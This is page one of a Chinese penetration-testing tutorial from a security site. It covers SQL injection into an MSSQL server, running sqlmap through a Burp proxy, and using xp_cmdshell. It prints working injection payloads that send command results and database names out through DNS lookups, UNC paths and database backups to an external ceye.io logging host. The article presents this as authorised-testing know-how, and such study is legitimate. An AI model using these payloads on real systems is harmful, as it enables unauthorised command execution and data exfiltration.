欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

WEB渗透测试中回显的一些技巧

来源:本站整理 作者:佚名 时间:2017-04-12 TAG: 我要投稿

在很多场景中,WEB 是渗透测试的一个相对容易的入口。通常经过测试授权后,我们会先尝试拿到一个 WEBSEHLL,然后再通过各种方法提权,来控制一台内网机器,然后利用这台内网机器控制整个内部网络。
在进行 WEB 渗透的时候,我们通常会通过后台弱口令、SQL 注入、XSS、任意文件上传等漏洞来进行攻击测试。在测试的时候我们会根据服务器返回信息来判断漏洞是否存在,也是根据服务器返回的信息来判断我们能否成功执行命令,能否成功读取服务器上的文件。因此我们在进行渗透测试的时候,能否及时获得服务器相应的反馈信息尤为重要。本文将通过实际研究,来寻找各种及时获得服务器响应数据的技术、方法,为渗透测试铺平道路。下面将模拟一个实例来进行研究分析。
假如在渗透测试的时候,我们通过对主域名进行 C 段扫描,发现了一个子域名,并且该子域名存某处存在 sql 注入漏洞,通过测试发现,该注入点支持 UNION 查询如图:

从返回信息我们能够知道数据库版本,也知道了数据库服务器是 windows 操作系统。但是给服务器发送 HTTP 请求后,返回数据包如下:

通过返回的数据,我们判断服务器是LINUX系统。从目前的信息来看,WEB 服务器在一台 LINUX 系统上,然而它使用的数据库在一台 WINDOWS 系统上。这样我们就无法直接通过数据库操作来获得一个 WEBSHELL 了。接下来我们的思路是想办法来控制这台数据库服务器,从而获得一台内网服务器的权限,然后再去渗透其他内部服务器。
首先我们对数据库当前用户的权限进行判断:

回正常信息,由此我们判断数据库当前用户具有系统管理员权限。这个时候本以为简单地用 sqlmap 跑一下 就直接可以结束工作了。

我们可以看到这个时候 sqlmap 并没有正常工作,可见 sqlmap 无法直接对 https 的连接进行注入。这里有个小技巧,我们让sqlmap通过代理访问网络就可以达到目的。首先配置好 burp 让 burp 可以成功抓取https数据包,然后用 burp 作为代理,在执行 sqlmap 时加上参数  –proxy http://127.0.0.1:8080,这样应该就可以了。实际测试时候发现,sqlmap 自带的 useragent 导致请求的数据包没有返回信息,因此我们加入了参数—user-agent ‘’ ,我们测试如下:

已经可以正常注入了,可以看出支持 UNION,支持多行查询。然后我们加个参数—os-shell 看看能不能得到一个命令行下的 SHELL

Sqlmap 这时候非常不给力,我们执行的命令根本没有返回结果,也可能命令根本并没有执行成功。这时候只有我们自食其力了。
数据库具有系统管理权限,sqlmap执行os-shell时已经提示了 xp_cmdshell 恢复成功,我们想到的首先就是通过 xp_cmdshell 执行命令。当然我们是无法看到命令执行结果的,我们通过 ceye.io 申请了一个账户,准备通过DNS记录来看执行命令成功与否。通过 ping 然后查询dns记录来判断命令知否执行成功
https://***/**.php?id=21;EXEC xp_cmdshell 'ping a1.***.ceye.i
很幸运,我们看到了 DNS 记录的结果

明可以成功执行命令。然后我们试图想通过数据组件配合 DNS 记录来获得命令执行情况。在研究过程中,我们总结了以下方法来进行信息刺探。
1、利用HttpRequestData
DECLARE @returnText VARCHAR(500);DECLARE @status int;DECLARE @urlStr VARCHAR(255);SET @urlStr ='http://ddd.***.ceye.io/a';EXEC P_GET_HttpRequestData  @urlStr, @status OUTPUT, @returnText   OUTPUT
2、通过共享路径来执行程序
 https://***/**.php?id=21;declare @@hp varchar(800);set @@hp=db_name(0);exec('exec xp_cmdshell ''\\'%2b@@hp%2b'.***.ceye.io\a.exe''')
//%2b //连接变量的时候最好把+编码,否则传过去会是空格,导致命令不成功;这里执行命令测试时需要嵌套在外部exec里才能成功到DNS,另外''是两个单引号。
3、数据库备份:
先执行create database rain;然后:
declare @@hp varchar(800);set @@hp = db_name();exec('backup log [rain] to disk=''\\'+@@hp+'. ***.ceye.io\a.exe'';');-- //+记得编码
4、把命令执行结果保存到变量,再写入数据库,然后查询数据库的信息来查看命令返回结果
create table test(t1 nvarchar(255), id int);DECLARE @result varchar(255);EXEC xp_cmdshell 'ping mytest1.***.ceye.io',@result out

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载